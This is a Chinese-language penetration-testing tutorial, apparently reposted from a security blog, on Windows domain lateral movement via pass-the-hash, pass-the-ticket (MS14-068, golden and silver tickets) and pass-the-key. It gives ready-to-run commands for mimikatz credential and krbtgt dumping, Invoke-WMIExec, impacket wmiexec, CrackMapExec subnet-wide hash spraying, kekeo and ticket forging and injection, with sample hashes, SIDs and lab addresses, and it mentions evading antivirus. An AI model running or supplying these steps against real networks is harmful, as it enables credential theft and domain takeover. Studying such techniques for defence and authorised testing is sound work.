内网渗透之PTH&PTT&PTK​详解

VSole2021-08-25 06:58:45

PTH(pass-the-hash)

pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

pass the hash原理:

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。

从windows到windows横向pth这一类攻击方法比较广泛。

一、Mimikatz

mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

对于Win 8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

使用mimikatz先获取hash:

privilege::debug
sekurlsa::logonpasswords

得到hash后

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7

可以看到NTML hash已经对workgroup使用,这样的话访问远程主机或服务,就不用提供明文密码

pass the  hash成 功~

二、wmiexe

WMI可以描述为一组管理Windows系统的方法和功能。我们可以把它当作API来与Windows系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。这一点是其它渗透测试工具所不能相比的。

wmiexec是对windows自带的wmic做了一些强化,让渗透变得更容易。只能说有很多工具吧,比较好用的在这里介绍两种:

第一种:

https://github.com/Kevin-Robertson/Invoke-TheHash

其他攻击手法可以看下readme,这里只简单的对pth做一下实验:

Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose

查看192.168.3.21机器,发现calc.exe进程已经启动


另外还有Invoke-SMB等脚本都可以进行利用,利用方法也差不多一样:

Invoke-SMBExec:

支持SMB1, SMB2 (2.1), and SMB signing

Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为system

Invoke-SMBClient:

支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本。

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)

第二种:

wmiexec.py 脚本地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

wmiexec.exe 通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便 :

https://github.com/maaaaz/impacket-examples-windows

wmiexec.py的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

参数实例:

wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami"

wmiexec.py的hash参数格式为 LM Hash:NT Hash ,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值

三、CrackMapExec

CrackMapExec可以对C段中的主机进行批量pth,项目地址:

https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令:

crackmapexec 192.168.3.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
对192.168.3.0/24 C段进行批量pass the hash

PTT(pass the ticket)

ptt攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:

MS16-068,Golden ticket,SILVER ticket。

之前介绍了Kerberos协议具体工作方法,在域中,简要介绍一下:

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

一、ms14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。

ms14-068详细介绍:

https://www.freebuf.com/vuls/56081.html

简单来说就是:

windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。

1. 在请求AS时,将require_PAC设置成False。

2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。

3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)

造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780

下面来介绍一下ms14-068的利用过程:

1.使用whoami/user 得到普通域用户的sid

2.执行payload生成TGT票据:

利用工具:ms14-068

使用方法:

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

运行实例:

MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件

3.票据注入:

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

mimikatz # kerberos::purge    //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list          //查看当前机器凭证mimikatz # kerberos::ptc 票据文件   //将票据注入到内存中

显示Injecting ticket : OK就表示注入成功了~

4.查看注入是否成功并且登录域控:

查看klist:

发现已经将凭证注入进去了~下面可以使用net use进行登录,或者使用psexec,wmi等方法进行远程执行命令。注意,这里登录时,要使用机器名,不要使用IP,否则没办法攻击成功。

可以看到我们已经提升到域控权限。

考虑到mimikatz的pth功能需要本地管理员权限,所以mimikatz也提供了 不需要管理员权限 的解决方法Pass-The-Ticket

Pass-The-Ticket需要用到gentilkiwi开源的另一款工具kekeo,下载地址:

https://github.com/gentilkiwi/kekeo/releases

使用方法:

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

执行后生成票据 :

TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

接下来导入票据:

kekeo "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"

成功获得了域控的访问权限:

二、Golden ticket(黄金票据)

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名

先登录域控制器,dump krbtgt用户的hash值,获取域sid:

privilege::debug
lsadump::lsa /patch

切换到普通域用户的机器,生成TGT凭证,用户名为administrator:

然后使用mimikatz将凭证注入进去,攻击成功:

mimikatz # kerberos::ptt test.kirbi

如果主机开启了RPC服务,还可以使用WmiExec.vbs直接连接:

三、Silver ticket(白银票据)

silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。

不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。

白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。

1.首先登录域控,dump机器hash

privilege::debug
sekurlsa::logonpasswords

2.将hash保存下来,在普通域用户机器中进行ptt 

kerberos::golden /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778  /target:192.168.3.21 /rc4:8432d4fa4430ecf56927dbabd1b4d36b  /service:cifs /user:mary /ptt

这里的cifs是指的文件共享服务,有了cifs服务权限,就可以访问域控制器的文件系统:

PTK(pass the key)

还是使用的mimikatz工具,不过需免杀。

获取用户的aes key:

mimikatz "privilege::debug" "sekurlsa::ekeys"

注入aes key:

mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288"

成功注入aes256,尝试远程连接:

如果拒绝访问的话尝试安装kb2871997补丁

kerberos域控制器
本作品采用《CC 协议》,转载必须注明作者和本文链接
跟踪为CVE-2021-23008的KDC欺骗漏洞可用于绕过Kerberos安全性并登录到Big-IP访问策略管理器或管理控制台。Silverfort研究人员指出,有时也会使用APM来保护对Big-IP管理控制台的访问。“用户名和密码已通过Kerberos协议针对Active Directory进行了验证,以确保用户就是他们所声称的身份。”为了正常工作,KDC还必须向服务器进行身份验证。F,在F5的设置中,不会发生这种情况。开发方案 根据星期四发布的F5的建议,要使攻击起作用,就要求攻击者已经在目标环境中。
抓取域密码哈希的各种工具集合。
基于资源的约束委派
2022-02-24 13:39:47
微软试图为域用户提供更大的灵活性,使资源的所有者能够配置哪些帐户是可信的,并允许委派给他们。这可以通过修改用于控制目标资源访问的属性“ms-DS-AllowedToActOnBehalfOfOtherIdentity”来实现的。
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
Kerberos Bronze Bit 攻击的概念验证利用代码于本周在网上发布。以及绕过Kerberos身份验证的Silver Ticket攻击。造成攻击的根本原因是未签名包含可转发标志的Kerberos服务票证组件,并且Kerberos进程无法检测服务票证操纵。通过确保在S4U2self交换中收到的任何服务票证都是不可转发的,可以强制实施此保护,除非请求的服务是TrustedToAuthForDelegation。同样,通过确保代表受保护帐户在S4U2self交换中收到的任何服务票证均不可转发,可以强制执行此操作。
在了解票据攻击的过程中,看见了一篇文章使用Rubeus进行钻石票据攻击。但是没有原理,于是抱着学习的心态在Google上寻找文章发现除了钻石票据还有蓝宝石票据。
kerberos委派详解
2021-10-08 14:49:15
委派域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
kerberos协议从0到1
2021-10-12 14:26:38
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
前文已经写到检测域内dcsync,adminsdholder等后门和一些基本域内信息
VSole
网络安全专家